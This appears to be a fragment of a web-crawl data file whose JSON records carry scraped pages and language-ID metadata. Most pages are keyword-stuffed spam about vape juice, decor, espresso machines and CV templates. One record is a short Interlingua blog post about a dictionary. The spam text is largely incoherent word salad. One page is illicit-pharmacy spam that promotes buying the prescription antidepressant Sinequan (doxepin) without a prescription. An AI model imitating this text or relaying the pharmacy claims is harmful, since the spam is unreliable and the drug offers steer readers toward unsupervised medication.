\"crs_Latn_score\": 0.034560319036245346}","num_words":177,"character_repetition_ratio":0.274,"word_repetition_ratio":0.905,"special_characters_ratio":0.599,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.313,"perplexity_score":3253.8,"cluster_detection":-1} +{"text":"Product Types available in Maasim > Vape Juice\nFind the best Vape Juice in Maasim. Only at Best Vape PH.\nFeatured Brand\nGeek Vape Starter Kit\nExplore Vape Products Online available in Maasim:Cbd X Vape Juice in Maasim\nCube X Vape Juice in Maasim\nExcision Vape Juice in Maasim\nJuice Vape Yogi in Maasim\nMason X Vape Juice in Maasim\nParticle X Vape Juice in Maasim\nPlanet Vape Juice in Maasim\nProject X Vape Juice in Maasim\nSpace Jam Particle Y Vape Juice in Maasim\nTriple X Vape Juice in Maasim\nVape Juice in Maasim\nVape Juice 100ml in Maasim\nVape Juice 10ml in Maasim\nVape Juice 12mg in Maasim\nVape Juice 18mg in Maasim\nVape Juice Yakult in Maasim\nVape Juice Zamplebox in Maasim\nVape Juice Zenith in Maasim\nVape Juice Zeus in Maasim\nVape Juice Zippay in Maasim\nVape Juice Zippo in Maasim\nVape Juice Zombie Blood in Maasim\nV Juice Vape Liquid in Maasim\nWires Vape Juice in Maasim\nX2o Vape Juice in Maasim\nX2 Vape Juice in Maasim\nXeo Vape Juice in Maasim\nXo Vape Juice in Maasim\nXoxo Vape Juice in Maasim\nX Series Vape Juice in Maasim\nXtreme Vape Juice in Maasim\nZ Juice Vape in Maasim","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/www.bestvapeph.com\/products\/vape-juice-in-maasim","date":"2022-01-25T02:19:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304749.63\/warc\/CC-MAIN-20220125005757-20220125035757-00171.warc.gz","language":"ina","language_score":0.5318070054,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.531807005405426, \"kos_Latn_score\": 0.06852972507476807, \"lim_Latn_score\": 0.06050533801317215, \"ile_Latn_score\": 0.03363928943872452, \"eng_Latn_score\": 0.028853027150034904, \"tro_Latn_score\": 0.016196446493268013, \"frp_Latn_score\": 0.01590423285961151, \"mmo_Latn_score\": 0.015446439385414124, \"por_Latn_score\": 0.011932304129004478, \"jam_Latn_score\": 0.011602724902331829, \"ron_Latn_score\": 0.011489935219287872, \"mwn_Latn_score\": 0.011348262429237366, \"tuc_Latn_score\": 0.010641919448971748}","num_words":432,"character_repetition_ratio":0.394,"word_repetition_ratio":0.158,"special_characters_ratio":0.2,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.642,"perplexity_score":19764.7,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite furgoni » Aste per le vendite pulminiAste per le vendite pick-upAste per le vendite ambulanzaAste per le vendite furgoni combi » Aste per le vendite pulmini CHEVROLETAste per le vendite CITROENAste per le vendite FORDAste per le vendite OPELAste per le vendite RENAULT","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/autoline-eu.it\/auction\/furgoni-minibus-CHEVROLET--c6tk2349tm2514.html","date":"2017-03-28T19:48:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189884.21\/warc\/CC-MAIN-20170322212949-00584-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.7830429673,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7830429673194885, \"lmo_Latn_score\": 0.0851764902472496, \"frp_Latn_score\": 0.05697796866297722, \"ita_Latn_score\": 0.028251077979803085, \"nap_Latn_score\": 0.02268819324672222, \"bew_Latn_score\": 0.014905775897204876}","num_words":98,"character_repetition_ratio":0.408,"word_repetition_ratio":0.022,"special_characters_ratio":0.182,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":0.959,"perplexity_score":2438.7,"cluster_detection":-1} +{"text":"|Tote Boxes in Alabama||Tote Boxes in Alaska|\n|Tote Boxes in Alberta||Tote Boxes in Arizona|\n|Tote Boxes in Arkansas||Tote Boxes in British Columbia|\n|Tote Boxes in California||Tote Boxes in Colorado|\n|Tote Boxes in Connecticut||Tote Boxes in Delaware|\n|Tote Boxes in Florida||Tote Boxes in Georgia|\n|Tote Boxes in Hawaii||Tote Boxes in Idaho|\n|Tote Boxes in Illinois||Tote Boxes in Indiana|\n|Tote Boxes in Iowa||Tote Boxes in Kansas|\n|Tote Boxes in Kentucky||Tote Boxes in Louisana|\n|Tote Boxes in Maine||Tote Boxes in Manitoba|\n|Tote Boxes in Maryland\/DC||Tote Boxes in Massachusetts|\n|Tote Boxes in Michigan||Tote Boxes in Minnesota|\n|Tote Boxes in Mississippi||Tote Boxes in Missouri|\n|Tote Boxes in Montana||Tote Boxes in Nebraska|\n|Tote Boxes in Nevada||Tote Boxes in New Brunswick|\n|Tote Boxes in New Hapshire||Tote Boxes in New Jersey|\n|Tote Boxes in New Mexico||Tote Boxes in New York|\n|Tote Boxes in Newfoundland and Labrador||Tote Boxes in North Carolina|\n|Tote Boxes in North Dakota||Tote Boxes in Northwest Territories|\n|Tote Boxes in Nova Scotia||Tote Boxes in Nunavut|\n|Tote Boxes in Ohio||Tote Boxes in Oklahoma|\n|Tote Boxes in Ontario||Tote Boxes in Oregon|\n|Tote Boxes in Pennsylvania||Tote Boxes in Prince Edwards Island|\n|Tote Boxes in Quebec||Tote Boxes in Rhode Island|\n|Tote Boxes in Saskatchewan||Tote Boxes in South Carolina|\n|Tote Boxes in South Dakota||Tote Boxes in Tennessee|\n|Tote Boxes in Texas||Tote Boxes in Utah|\n|Tote Boxes in Vermont||Tote Boxes in Virginia|\n|Tote Boxes in Washington||Tote Boxes in West Virginia|\n|Tote Boxes in Wisconsin||Tote Boxes in Wyoming|\n|Tote Boxes in Yukon|","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/industrynet.com\/categories\/BO1113\/tote-boxes","date":"2017-04-25T21:07:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917120878.96\/warc\/CC-MAIN-20170423031200-00027-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.3032349944,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3032349944114685, \"nov_Latn_score\": 0.13737115263938904, \"vec_Latn_score\": 0.10012875497341156, \"eng_Latn_score\": 0.0692567452788353, \"lim_Latn_score\": 0.053486417979002, \"ile_Latn_score\": 0.04444124177098274, \"afr_Latn_score\": 0.028032729402184486, \"pcd_Latn_score\": 0.025437848642468452, \"bew_Latn_score\": 0.024262549355626106, \"enm_Latn_score\": 0.016179541125893593, \"cos_Latn_score\": 0.015929581597447395, \"nrm_Latn_score\": 0.014575349166989326, \"dag_Latn_score\": 0.013052057474851608, \"srd_Latn_score\": 0.012965729460120201, \"vol_Latn_score\": 0.011486916802823544, \"lat_Latn_score\": 0.01008688285946846}","num_words":460,"character_repetition_ratio":0.368,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.261,"perplexity_score":6962.4,"cluster_detection":-1} +{"text":"Photos Decoration Salle De Bain Moderne salle de bain moderne en marbre deco maison moderne, petite salle de bain moderne, photos salle de bain moderne id es d co salle de bain, salle de bain moderne pour une matin e coquette design feria, id e d coration salle de bain salle de bains moderne, deco salle de bains modernes youtube, idee deco salle de bain moderne deco maison moderne, rusticit moderne dans la salle de bain salle de bain,","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/aast.us\/photos-decoration-salle-de-bain-moderne.html","date":"2018-04-26T11:40:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948126.97\/warc\/CC-MAIN-20180426105552-20180426125552-00044.warc.gz","language":"ina","language_score":0.474540621,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4745406210422516, \"fra_Latn_score\": 0.23168282210826874, \"sco_Latn_score\": 0.0872068852186203, \"nrm_Latn_score\": 0.04436282813549042, \"pan_Latn_score\": 0.035056013613939285, \"pfl_Latn_score\": 0.021207230165600777, \"lim_Latn_score\": 0.01258152350783348}","num_words":126,"character_repetition_ratio":0.259,"word_repetition_ratio":0.026,"special_characters_ratio":0.196,"stopwords_ratio":0.23,"flagged_words_ratio":0.0,"lang_id_score":0.529,"perplexity_score":2839.1,"cluster_detection":-1} +{"text":"cafeteras expresso cafetera espresso nueva cafeteras espresso automaticas con molinillo.\ncafeteras expresso cafetera espresso nespresso lattissima touch glam blanco cafeteras espresso arecibo.\ncafeteras expresso breville bes870xl barista express espresso machine cafeteras expresso 19 bares.\ncafeteras expresso cafetera espresso manual dedica style ec685r cafetera express saeco con molinillo incorporado.\ncafeteras expresso cafac a a precios cafeteras express carrefour.\ncafeteras expresso cafetera espresso automatica delonghi expert en35 cafetera express con molinillo incorporado.\ncafeteras expresso cafeteras express domesticas baratas.\ncafeteras expresso cafeteras elacctricas delonghi cafetera espresso delonghi ecp3121 cafetera express con molinillo incorporado.\ncafeteras expresso cafetera espresso express dalla corte mini usada cafeteras expresso con molinillo incorporado.\ncafeteras expresso atu cafetera espresso no tira tranqui no esta rota cafeteras expresso manual 19 bares.\ncafeteras expresso cafetera espresso 5bar 750w fagor cr750 cafeteras express baratas online.\ncafeteras expresso 50 150 450 ml protable aluminio cafeteras espresso moka cafetera moka gaciser taza de cafeteras express automaticas.\ncafeteras expresso cafetera espresso italiana kamira toma tu cafac preferido y ahorra dinero cafeteras express 18 bares.\ncafeteras expresso las mejores cafeteras espresso automaticas de 2015 philips hd7863 60 senseo quadrante cafetera expresso 19 bar sublime inox.\ncafeteras expresso cafetera espresso briel es 14 black cafetera espresso profesional para casa.\ncafeteras expresso turco cafetera moka olla 4 tazas acero inoxidable moka cafetera espresso maquina herramientas cafetera elacctrica cafeteras express para casa.\ncafeteras expresso delonghi cafetera espresso ec 680bk cafeteras expresso automaticas sin capsulas.\ncafeteras expresso cafetera espresso manual oster primalatte bvstem6601r cafeteras espresso automaticas ofertas.\ncafeteras expresso cafetera espresso briel es 35 cafetera express oster 19 bares.\ncafeteras expresso minimoka cafeteras espresso cm 1622 negra b01cgj197k cafetera espresso 18 bares.\ncafeteras expresso cafetera espresso mini briel classic es14 verde rene comprar cafetera espresso 18 bares.\ncafeteras expresso hamilton beach 40792 cafetera espresso cappuccino maker cafetera expreso carrefour.\ncafeteras expresso cafetera espresso automatica delonghi etam29510 cafetera solac expresso 18 bar.\ncafeteras expresso maquina de cafac saeco aulika focus espresso automatica cafeteraespressoautomaticasaeco cafetera expreso carrefour.\ncafeteras expresso cafetera espresso comprar cafetera espresso 18 bares.\ncafeteras expresso cafetera espresso orbegozo exp5000 metalizado cafetera expresso para casa.\ncafeteras expresso cafetera espresso oster 6701 cafeteras espresso puerto rico.\ncafeteras expresso cafetera espresso basic cafeteras expresso automaticas sin capsulas.\ncafeteras expresso cafetera espresso briel es62a cadiz cafeteras automaticas espresso.\ncafeteras expresso cafetera espresso delonghi ec685r new cafetera mas cafeteras express baratas.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/topkeyword.info\/cafeteras-expresso\/","date":"2018-06-20T11:03:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863518.39\/warc\/CC-MAIN-20180620104904-20180620124904-00225.warc.gz","language":"ina","language_score":0.3546740413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3546740412712097, \"por_Latn_score\": 0.2465912103652954, \"spa_Latn_score\": 0.08734715729951859, \"eng_Latn_score\": 0.029985832050442696, \"lat_Latn_score\": 0.026856521144509315, \"ext_Latn_score\": 0.018241040408611298, \"arg_Latn_score\": 0.01798315905034542, \"lfn_Latn_score\": 0.01661311648786068, \"ita_Latn_score\": 0.016509680077433586, \"nhg_Latn_score\": 0.012050689198076725, \"scn_Latn_score\": 0.011545867659151554, \"eus_Latn_score\": 0.010612376034259796}","num_words":928,"character_repetition_ratio":0.34,"word_repetition_ratio":0.207,"special_characters_ratio":0.166,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":0.355,"perplexity_score":8069.4,"cluster_detection":-1} +{"text":"bibliotheque moderne design meuble tv bibliotheque design moderne design tapis de sol canapac coussins idace rangement design bibliotheque moderne design.\ndesign chic bibliotheque moderne bibliothque bibliothaque willowtemp,design moderne meuble bibliotheque bibliothaque murale temahome,actagare archzinefr choisir design bibliotheque moderne l comment bibliothaque bon le, moderne bibliotheque design pinterest bibliothaque html idace meuble,pinterest shelves ydism bibliotheque moderne design blog mikado salons etagere diy 7,bibliotheque moderne design de la intacrieur maison , bibliothaque bibliotheque moderne design idace,top meuble 16 moderne bibliotheque bibliothaques au design,collection de design bibliotheque moderne et mobilier la bibliothaque,intacrieure daccoration bibliotheque moderne design farikus idaces bibliotheques contemporaines.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/soundup.co\/bibliotheque-moderne-design\/bibliotheque-moderne-design-meuble-tv-bibliotheque-design-moderne-design-tapis-de-sol-canapac-coussins-idace-rangement-design-bibliotheque-moderne-design\/","date":"2018-11-21T12:11:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039748315.98\/warc\/CC-MAIN-20181121112832-20181121134832-00442.warc.gz","language":"ina","language_score":0.5622748733,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5622748732566833, \"lat_Latn_score\": 0.12094863504171371, \"fra_Latn_score\": 0.08211053907871246, \"eng_Latn_score\": 0.030204519629478455, \"enm_Latn_score\": 0.018953243270516396, \"ile_Latn_score\": 0.01694757491350174, \"sco_Latn_score\": 0.016298843547701836, \"mfe_Latn_score\": 0.010716096498072147, \"alz_Latn_score\": 0.010103018023073673}","num_words":214,"character_repetition_ratio":0.257,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":0.562,"perplexity_score":14729.3,"cluster_detection":-1} +{"text":"45 best cv resume templates images on pinterest que debe de contener un curriculum vitae, que debe de contener un curriculum vitae la importancia del currculum vitae en la bºsqueda de empleo espai, word 2010 hacer un curriculum personalizado que debe de contener un curriculum vitae, v=1 que debe de contener un curriculum vitae, que debe de contener un curriculum vitae la importancia de un cv visual ii,\n45 Best Cv Resume Templates Images On Pinterest Que Debe De Contener Un Curriculum Vitae fuente: pinterest.com\nQue Debe De Contener Un Curriculum Vitae La Importancia Del Currculum Vitae En La Bºsqueda De Empleo Espai fuente: erafbadia.blogspot.com\nWord 2010 Hacer Un Curriculum Personalizado Que Debe De Contener Un Curriculum Vitae fuente: youtube.com\nV=1 Que Debe De Contener Un Curriculum Vitae fuente: es.scribd.com\nQue Debe De Contener Un Curriculum Vitae La Importancia De Un Cv Visual Ii fuente: empapelarte.es\nQue Debe De Contener Un Curriculum Vitae Consejos Repºblica Afap fuente: rafap.com.uy\nCurrculum Vtae 7 Ejemplos De Un Objeto De Dise±o Fundamental Que Debe De Contener Un Curriculum Vitae fuente: paredro.com\nque debe de contener un curriculum vitae consejos repºblica afap, currculum vtae 7 ejemplos de un objeto de dise±o fundamental que debe de contener un curriculum vitae, c³mo hacer un curriculum vitae perfecto que debe de contener un curriculum vitae, 10 claves para escribir tu curriculum que debe de contener un curriculum vitae,","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/genericrevia.club\/que-debe-de-contener-un-curriculum-vitae\/","date":"2018-11-19T21:29:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746112.65\/warc\/CC-MAIN-20181119212731-20181119233854-00046.warc.gz","language":"ina","language_score":0.3339652121,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3339652121067047, \"spa_Latn_score\": 0.320747047662735, \"cbk_Latn_score\": 0.10267839580774307, \"ast_Latn_score\": 0.0703941211104393, \"oci_Latn_score\": 0.02693106047809124, \"arg_Latn_score\": 0.016270555555820465, \"glg_Latn_score\": 0.013498525135219097, \"srd_Latn_score\": 0.011338867247104645, \"lat_Latn_score\": 0.01040430087596178, \"cat_Latn_score\": 0.010085660964250565}","num_words":396,"character_repetition_ratio":0.203,"word_repetition_ratio":0.525,"special_characters_ratio":0.193,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":0.481,"perplexity_score":4514.2,"cluster_detection":-1} +{"text":"Nos vole communicar a vos le edition in internet del Dictionario Encyclopedic de Interlingua del grandissime interlinguista Toma Macovei.\nIllo es dividite in tres sitos:\nhttps:\/\/sites.google.com\/site\/archivodeinterlingua\/\nhttps:\/\/sites.google.com\/site\/archivodeinterlingua2\/\nhttps:\/\/sites.google.com\/site\/archivodeinterlingua3\/\ndebite al grandor del obra.\nIl se tracta del 1534 paginas scannate a partir del original mechanographate, le quales ha essite inviate a nos per nostre amico George Petrineanu, qui ha facite tote le labor de scannamento del original.\nNos comencia nunc le travalio de digitalisation de iste magnific obra a fin que alicun die iste obra titanic de nostre amate Toma Macovei remane in le sito que corresponde a illo.\nIste dictionario contine non solmente le definition del parolas del IED, ma de multe milles plus prendite principalmente del obras lexicographic del senior Piet Cleij.\nImbracios amical","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/navarreses.blogspot.com\/","date":"2018-12-14T06:15:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376825363.58\/warc\/CC-MAIN-20181214044833-20181214070333-00021.warc.gz","language":"ina","language_score":0.9986175895,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.9986175894737244}","num_words":201,"character_repetition_ratio":0.094,"word_repetition_ratio":0.203,"special_characters_ratio":0.177,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":870.5,"cluster_detection":-1} +{"text":"Ordine Sinequan 25 mg Generico In linea\nGenerico Sinequan\nMigliore farmacia Per ordinare Sinequan non prescritti. Sinequan Generico è un farmaco antidepressivo triciclico. Viene usato nel trattamento della depressione e dell'ansia.\nValutazione 4.6 sulla base di 373 voti.\nPrezzo da €0.26 Per pillola\ncomo comprar generico do Sinequan\nSinequan generico precio españa\nSinequan generico japao\nSconto Doxepin hydrochloride Francia\nSconto Sinequan 25 mg USA\nprecisa receita comprar Sinequan generico\nPrezzo 25 mg Sinequan Repubblica Ceca\nbasso costo Sinequan 25 mg Spagna\nAcquistare Sinequan Doxepin hydrochloride Australia\ngenerico Sinequan contra indicações\nQuanto costa Sinequan Olanda\nPrezzo Sinequan 25 mg Polonia\nin linea Sinequan 25 mg Croazia\nQuanto costa Doxepin hydrochloride Repubblica Ceca\nOrdine 25 mg Sinequan Brasile\nSconto 25 mg Sinequan Europa\nse comprar Sinequan sin receta farmacias\nSconto 25 mg Sinequan Austria\ncheap Augmentin\nbuy Famvir\nmudawana.bestwebsitestore.com\nbuy Ondansetron\nbuy Zenegra\nSconto Doxepin hydrochloride UK\ncomprimido generico do Sinequan\nconveniente Sinequan 25 mg\nSinequan per donne in farmacia\ndove si acquista Sinequan\ngenerico Sinequan Austria\nPrezzo basso Sinequan Doxepin hydrochloride USA\nin linea Doxepin hydrochloride Portogallo\nPrezzo Sinequan Olanda\nnombre Sinequan generico mexico\nventa Sinequan lima farmacias\nIl costo di Sinequan 25 mg Norvegia\nin linea Sinequan Croazia\nAcquistare 25 mg Sinequan Canada\nprecio Sinequan farmacia colombia\nbasso costo 25 mg Sinequan Europa\nIl costo di Sinequan Doxepin hydrochloride Repubblica Ceca\nacquisto Sinequan online reato\nA buon mercato Doxepin hydrochloride Croazia\nA buon mercato Sinequan 25 mg Canada\nA buon mercato Sinequan Canada\nfarmacia Sinequan andorra\nsi puo comprare il Sinequan in farmacia senza ricetta\nfarmacia. online Sinequan generico\ncos è il Sinequan generico\nAcquistare 25 mg Sinequan Giappone\ngenerico do Sinequan onde comprar\ngenerico 25 mg Sinequan Grecia\nQuanto costa Doxepin hydrochloride Svizzera\ncomo tomar generico do Sinequan\nPrezzo 25 mg Sinequan Tacchino\nSinequan generico usa\nSinequan generico farmacia italia\nAcquistare 25 mg Sinequan Europa\nsi puo acquistare Sinequan senza ricetta medica\nacquistare Sinequan svizzera\nacquistare Sinequan senza ricetta medica\nPrezzo Doxepin hydrochloride Croazia\ncompuesto generico del Sinequan\ncuanto vale Sinequan en farmacia\nse vende Sinequan farmacia\ngenerico do Sinequan dejavu\nIl costo di 25 mg Sinequan Grecia\nlibyan soldiers with Sinequan\nIl costo di 25 mg Sinequan Croazia\nIl costo di Doxepin hydrochloride Spagna\ngenerico Sinequan 25 mg Danimarca\ngenerico Sinequan Doxepin hydrochloride Inghilterra\ngenerico de Sinequan mexico\nIl costo di Sinequan 25 mg Inghilterra\nA buon mercato Sinequan 25 mg Inghilterra\nSinequan non generico\nkamagra generico Sinequan\nQuanto costa 25 mg Sinequan Singapore\nOrdine Sinequan Francia\nin linea 25 mg Sinequan Danimarca\nin linea Sinequan US\nventa Sinequan en farmacia\ngenericos do Sinequan funciona\nconveniente 25 mg Sinequan Tacchino\nSinequan femenino venta farmacias\nel Sinequan se vende en farmacias\nOrdine Doxepin hydrochloride Svizzera\nIl costo di Sinequan 25 mg Belgio\nSinequan generico nao funciona\nnombre medicamento generico Sinequan\nconveniente 25 mg Sinequan USA\nesiste Sinequan generico\ncomprare Sinequan generico farmacia\nprecio de la Sinequan en farmacias españolas\nAcquistare Sinequan Austria\nPrezzo Sinequan Singapore\nPrezzo Sinequan Doxepin hydrochloride Giappone\nper acquistare Sinequan serve ricetta\nSinequan levitra genericos\nfarmacias que venden Sinequan generico en mexico\nA buon mercato Sinequan USA\nSinequan generico germania\nA buon mercato Doxepin hydrochloride Inghilterra\nSinequan en farmacias cruz verde\nPrezzo Doxepin hydrochloride Europa\nAcquistare 25 mg Sinequan Austria\nSinequan en farmacias del doctor simi\nfarmacia donde comprar Sinequan sin receta\nconveniente 25 mg Sinequan Israele\nIl costo di Sinequan Doxepin hydrochloride Canada\nOrdine 25 mg Sinequan Singapore\ncomprar Sinequan generico sevilla\nIl costo di Sinequan Doxepin hydrochloride Austria\nbasso costo Sinequan Doxepin hydrochloride Tacchino\nel Sinequan generico\nbasso costo 25 mg Sinequan Spagna\nAcquistare Sinequan Doxepin hydrochloride Israele\nAcquista Sinequan 25 mg Austria\nIl costo di Doxepin hydrochloride Emirati Arabi Uniti\ncomprar Sinequan en farmacia – argentina\nSinequan en farmacias guadalajara\nSconto Doxepin hydrochloride Croazia\nPrezzo 25 mg Sinequan Finlandia\nventa Sinequan farmacias ahumada\nSinequan lilly prezzo farmacia\nSinequan generico yahoo\nAcquista 25 mg Sinequan Finlandia\nQuanto costa 25 mg Sinequan Inghilterra\ncomprar Sinequan farmacia sin receta\nbasso costo Sinequan Doxepin hydrochloride Svizzera\nforum dove acquistare Sinequan online\nSconto Sinequan Doxepin hydrochloride Francia\nOrdine Sinequan Doxepin hydrochloride Croazia\nAcquistare Sinequan Doxepin hydrochloride Tacchino\nforos Sinequan generico\ngenerico Sinequan Doxepin hydrochloride US\nPrezzo basso Sinequan 25 mg Svezia\nPrezzo Sinequan Italia\nin linea Sinequan 25 mg Tacchino\nPrezzo basso 25 mg Sinequan Belgio\nin linea Doxepin hydrochloride Emirati Arabi Uniti\nbasso costo Sinequan 25 mg Croazia\nSinequan generico estados unidos\ngenerico Doxepin hydrochloride Tacchino\nA buon mercato Sinequan Doxepin hydrochloride Polonia\nA buon mercato 25 mg Sinequan UK\nA buon mercato 25 mg Sinequan Emirati Arabi Uniti\nAcquista Sinequan Portogallo\nSinequan precio farmacia argentina\nSconto Sinequan Doxepin hydrochloride Emirati Arabi Uniti\ngenerico Sinequan onde comprar\nprecio Sinequan farmacia andorra\nAcquistare 25 mg Sinequan Italia\nQuanto costa Sinequan Australia\nOrdine Sinequan 25 mg Stati Uniti\ndestraliberaleitaliana.it\ncheap Cialis Soft\ncheap Avalide\nlit-review.ru\nbuy Nifedipine\njBjelP","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/mudawana.bestwebsitestore.com\/risparmiate-tempo-e-denaro-ordine-sinequan-25-mg-generico-linea-di-trasporto-di-posta-aerea-o-corriere\/","date":"2019-01-18T03:16:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583659677.17\/warc\/CC-MAIN-20190118025529-20190118051529-00026.warc.gz","language":"ina","language_score":0.3727745116,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.37277451157569885, \"ita_Latn_score\": 0.14418119192123413, \"lat_Latn_score\": 0.08044980466365814, \"eus_Latn_score\": 0.054237011820077896, \"ile_Latn_score\": 0.05251701548695564, \"mlt_Latn_score\": 0.030929049476981163, \"scn_Latn_score\": 0.02393445000052452, \"kiu_Latn_score\": 0.021951790899038315, \"lij_Latn_score\": 0.02043766714632511, \"vec_Latn_score\": 0.019671084359288216, \"nld_Latn_score\": 0.01679442822933197, \"por_Latn_score\": 0.01535731740295887, \"nap_Latn_score\": 0.015170215629041195, \"lvs_Latn_score\": 0.011567585170269012, \"srd_Latn_score\": 0.011264385655522346, \"fin_Latn_score\": 0.011001478880643845, \"slk_Latn_score\": 0.010345371440052986}","num_words":1704,"character_repetition_ratio":0.222,"word_repetition_ratio":0.056,"special_characters_ratio":0.158,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.2,"perplexity_score":27876.5,"cluster_detection":-1} +{"text":"Como se crea un curriculum vitae pu² una bicicletta volare \" a pozzolo una serata dedicata alle bici. Como se crea un curriculum vitae undergraduate curriculum vitae template – aurorafilm. 36 best curriculums vitae images on pinterest como se crea un curriculum vitae. Como se crea un curriculum vitae 3 formas de hacer un currculum vtae wikihow. Como se crea un curriculum vitae o crear un curriculum vitae gratis.\nComo Se Crea Un Curriculum Vitae Pu² Una Bicicletta Volare \" A Pozzolo Una Serata Dedicata Alle Bici fuente: mag.corriereal.info\nComo Se Crea Un Curriculum Vitae Undergraduate Curriculum Vitae Template – Aurorafilm fuente: aurorafilm.org\n36 Best Curriculums Vitae Images On Pinterest Como Se Crea Un Curriculum Vitae fuente: pinterest.com\nComo Se Crea Un Curriculum Vitae 3 formas De Hacer Un Currculum Vtae Wikihow fuente: es.wikihow.com\nComo Se Crea Un Curriculum Vitae O Crear Un Curriculum Vitae Gratis fuente: genericrevia.club\nPdf the Chinese–venezuelan Oil Agreements Material and Nonmaterial Como Se Crea Un Curriculum Vitae fuente: researchgate.net\nComo Se Crea Un Curriculum Vitae Pdf Iodine Excess and Hyperthyroidism fuente: researchgate.net\nPdf the chinese–venezuelan oil agreements material and nonmaterial como se crea un curriculum vitae. Como se crea un curriculum vitae pdf iodine excess and hyperthyroidism. Curriculum vitae 03 ejemplos y tipos aulas de empleo y curriculum como se crea un curriculum vitae. Como se crea un curriculum vitae o se hace un curriculum vitae para trabajo curriculum europeo.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/curriculumvt.me\/como-se-crea-un-curriculum-vitae\/","date":"2019-02-17T09:55:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247481832.13\/warc\/CC-MAIN-20190217091542-20190217113542-00091.warc.gz","language":"ina","language_score":0.5112628937,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5112628936767578, \"lat_Latn_score\": 0.12148155272006989, \"spa_Latn_score\": 0.09356573224067688, \"srd_Latn_score\": 0.04374080151319504, \"arg_Latn_score\": 0.03660322725772858, \"sco_Latn_score\": 0.035412389785051346, \"ron_Latn_score\": 0.02842964045703411, \"glg_Latn_score\": 0.02014828845858574, \"cbk_Latn_score\": 0.011074956506490707, \"ast_Latn_score\": 0.010373285040259361, \"eus_Latn_score\": 0.01032315194606781}","num_words":410,"character_repetition_ratio":0.22,"word_repetition_ratio":0.501,"special_characters_ratio":0.179,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":0.742,"perplexity_score":5175.2,"cluster_detection":-1} +{"text":"Blank Face Mask Template blank face mask template best photos of full face mask template full face mask template ideas. blank face mask template pin citlali de aguirre on face charts templates face outline ideas. blank face mask template face mask template alimieco free. Blank Face Mask Template Blank Face Mask Template\nBlank Face Mask Template Best Photos Of Full Face Mask Template Full Face Mask Template IdeasBlank Face Mask Template Pin Citlali De Aguirre On Face Charts Templates Face Outline Ideas Blank Face Mask Template Face Mask Template Alimieco Free\nBlank Face Mask Template blank face mask template pin citlali de aguirre on face charts templates face outline ideas. blank face mask template face mask template alimieco free.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/tabletsevent.com\/blank-face-mask-template\/blank-face-mask-template-face-mask-template-alimieco-free\/","date":"2019-02-16T06:34:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247479885.8\/warc\/CC-MAIN-20190216045013-20190216071013-00275.warc.gz","language":"ina","language_score":0.3674899042,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.36748990416526794, \"eng_Latn_score\": 0.34031638503074646, \"pcm_Latn_score\": 0.04216538742184639, \"lat_Latn_score\": 0.03319383040070534, \"dag_Latn_score\": 0.026988651603460312, \"cbk_Latn_score\": 0.022679604589939117, \"nob_Latn_score\": 0.021512387320399284, \"ron_Latn_score\": 0.01578843593597412, \"nno_Latn_score\": 0.015186464414000511, 